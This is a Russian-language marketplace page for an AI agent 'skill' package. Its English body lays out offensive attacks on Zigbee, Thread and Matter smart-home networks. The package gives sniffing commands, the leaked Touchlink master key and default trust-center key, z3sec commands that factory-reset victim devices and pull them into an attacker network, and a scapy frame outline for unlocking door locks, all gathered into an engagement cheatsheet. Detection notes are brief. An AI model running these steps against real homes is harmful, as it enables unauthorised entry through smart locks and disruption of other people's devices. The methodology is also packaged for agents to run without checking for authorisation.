Перейти к содержимому
New

DeepSeek V4.1 Flash free for 7 days: 10M tokens a day after a top-up of $10 or more. Until Nov 30.

How it works
snailsploit/offensive-zigbee-thread-matterСети, беспроводная связь и телеком

offensive-zigbee-thread-matter

⁨Zigbee, Thread, and Matter mesh-protocol attack methodology — IEEE 802.15.4 sniffing with TI CC2531 / CC2540 / Sonoff Zigbee Dongle E, KillerBee toolkit, Touchlink commissioning abuse with the well-known transport key, replay/injection attacks, Zigbee Cluster Library command abuse for door locks and⁩

v2026.11.11-fd814412 установки+2 за 7 дней11,2 тыс. ЗвездыMITсинхронизировано 13 часов назад

Установка

Ещё нет NotHoly CLI? Сначала установите её.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install snailsploit/offensive-zigbee-thread-matter

Пишет в ⁦~/.notholy/skills⁩ после проверки подписи и SHA-256.

ПодписьПодписано, ed25519
cw9+L1R01d…SglW/JCQ==CLI проверяет SHA-256 и подпись, прежде чем записать хоть один файл.
Пакет0d77c5e6…121f3224
0d77c5e6eebe…b7bd121f32241 файл · ⁦2.9 KB⁩
ПроверкаНизкий1 замечание
  • Ссылки на внешние домены
Вся проверка
Источникgithub.com/SnailSploit/Claude-Red/tree/main/Skills/wireless/offensive-zigbee-thread-matter@fd81441

Эта запись еще не переведена на русский, поэтому показан текст на другом языке: English.

802.15.4-based mesh protocols underpin most "smart home" devices. Zigbee is widely deployed and has well-known crypto-key-reuse issues; Thread (modern, IPv6-based) ships with stronger defaults; Matter unifies their commissioning model with stronger crypto but still has implementation pitfalls.

Quick Workflow

  1. Sniff target frequency (channels 11–26 in 2.4 GHz)
  2. Identify network coordinator and joining devices
  3. For Zigbee: try Touchlink commissioning with the well-known key
  4. Capture join-key exchange when devices commission
  5. Replay or inject ZCL/ZHA cluster commands

Hardware

Adapter Use
TI CC2531 USB stick Cheap, works with Zigbee2MQTT, KillerBee
TI CC2540 / CC2652 Zigbee + Thread + BLE
Sonoff Zigbee Dongle E (CC2652P) Modern, well-supported
ApiMote (KillerBee dev) Multi-channel, scapy-dot15d4
HackRF + appropriate firmware Lower-level RF flexibility

Discovery + Sniffing

bash
# KillerBee suite
zbstumbler -i 0                 # find Zigbee networks
zbid                            # ID coordinators
zbdump -c 11 -w zigbee.pcap     # dump channel 11 to pcap

# scapy-dot15d4 for crafted frames
python3
>>> from scapy.contrib.dot15d4 import *
>>> sniff(iface='/dev/ttyACM0', count=50)

In Wireshark with the dot15d4 + zbee_nwk dissectors, you'll see frame counters, network keys (if joined), and ZCL commands.

Touchlink commissioning, especially in lighting, uses a leaked master key:

text
0x9F5595F10257C8A469CBF42BC93FEE31

The transaction and response IDs derive a transport key from this master key. The transport key protects the network key exchanged during commissioning; neither the master key nor the derived transport key replaces the network key used to decrypt ordinary network traffic. Capture the relevant commissioning frames before attempting network-key recovery.

The master key is documented in P-SCAN test case ZB#3, page 43. See also the Touchlink commissioning research for the derivation and the separate authentication weaknesses in Touchlink commands.

bash
# z3sec — Zigbee 3 commissioning attack toolkit
git clone https://github.com/IoTsec/Z3sec
python z3sec_inter_pan.py --command "factory_reset_request" --device <addr>
python z3sec_inter_pan.py --command "join_network" --network <PANID>

Outcomes:

  • Factory-reset victim devices remotely (DoS / mass disrupt)
  • Steal lights / sensors into attacker network
  • Read network keys after joining device-to-network

Network Key Capture During Joins

bash
# Capture coordinator + joining device exchange
zbdump -c <ch> -w join.pcap

# Decrypt if you obtain the trust center link key
# Older Zigbee 1.x networks used a default trust center link key:
# ZigBeeAlliance09
# Modern networks use device-specific install codes

Once you have the network key, all traffic on that mesh is decrypted in Wireshark.

ZCL / ZHA Cluster Command Abuse

Zigbee Cluster Library defines on/off/level/lock clusters. With network key, you can issue commands as any device:

python
# scapy-dot15d4 frame to unlock a door lock
from scapy.contrib.dot15d4 import *
from scapy.contrib.zigbee import *

frame = Dot15d4FCS()/Dot15d4Data()/ZigbeeNWK(...)/ZigbeeAppDataPayload(...)/ZCLDoorLock(...)
sendp(frame, iface='/dev/ttyACM0')

The same primitive opens locks, toggles switches, dims lights, or floods the network with control traffic.

Thread Specifics

Thread (used by Apple HomePod, Nest, Eero) uses 802.15.4 with IPv6 (6LoWPAN) and stronger commissioning crypto.

  • Network credential is a commissioner-distributed PSKc
  • Devices join with the commissioner present
  • Mesh commissioning protocol is over UDP/CoAP

Attack surface:

  • PSKc theft from commissioner devices (mobile app companion, Apple Home, Nest app)
  • Reusing a leaked credential to join target network
  • 6LoWPAN routing attacks (rank manipulation, sinkhole)

Matter Commissioning

Matter unifies Zigbee/Thread/Wi-Fi device onboarding under one commissioning model:

  • QR code or manual setup code grants commissioning permission
  • Bluetooth LE used for initial commissioning
  • Subsequent communication over Wi-Fi or Thread

Attack surface:

  • Setup-code reuse / replay if commissioning window not closed
  • BLE-MITM during initial commissioning (see offensive-bluetooth-ble)
  • Fabric-attestation flaws in early implementations

Detection

  • Coordinator may log unexpected device joins
  • Hub apps surface "new device" notifications — commonly ignored by users
  • Wireshark/Sonoff captures from defenders are rare — most environments don't monitor 802.15.4

Engagement Cheatsheet

bash
# 1. Identify networks + channels
zbstumbler -i 0

# 2. Sniff target channel
zbdump -c <ch> -w cap.pcap
# Open in Wireshark with dot15d4/zigbee dissectors

# 3. Touchlink attack on consumer Zigbee 3.0 lighting
python z3sec_inter_pan.py --command "factory_reset_request" --target <addr>

# 4. Steal device into attacker network
python z3sec_inter_pan.py --command "join_network" --target <addr>

# 5. With network key, issue ZCL commands directly
# (custom scapy-dot15d4 + zbee_nwk frames)

# 6. For Thread: focus on commissioner / PSKc theft from companion apps

Key References

Файлы этой версии

Права

ПравоЗаявленоНайдено проверкой
Читает файлыНетНет
Пишет файлыНетНет
Выполняет команды shellДаДа
Ходит в сетьДаДа
Использует коннекторыНетНет
Управляет браузеромНетНет

Замечания проверки

Проверено 13 нояб. 2026 г.

  1. ИнфоСсылка · Ссылки на внешние домены

Чистая проверка снижает риск, но не доказывает, что пакет безопасен. Читайте то, что ставите.

ВерсияОпубликованаКоммитSHA-256ПодписьИзменение прав
v2026.11.11-fd8144113 нояб. 2026 г.fd814410d77c5e6Подписана–

Спрашивайте обо всём, что позволяет ваш скоуп.

Создайте аккаунт, пополните баланс и задайте первый вопрос в чате или в терминале.

  1. 1/3

    Создайте аккаунт

    Личный или для компании. Позже можно перейти на аккаунт компании без потери баланса и ключей.

    ЛичныйКомпания
  2. 2/3

    Пополните баланс

    Картой. Оплата за токены, без подписки.

    $5.00минимальное пополнение
  3. 3/3

    Спрашивайте

    В чате, или установите CLI и выполните notholy login в терминале.

    $ notholy login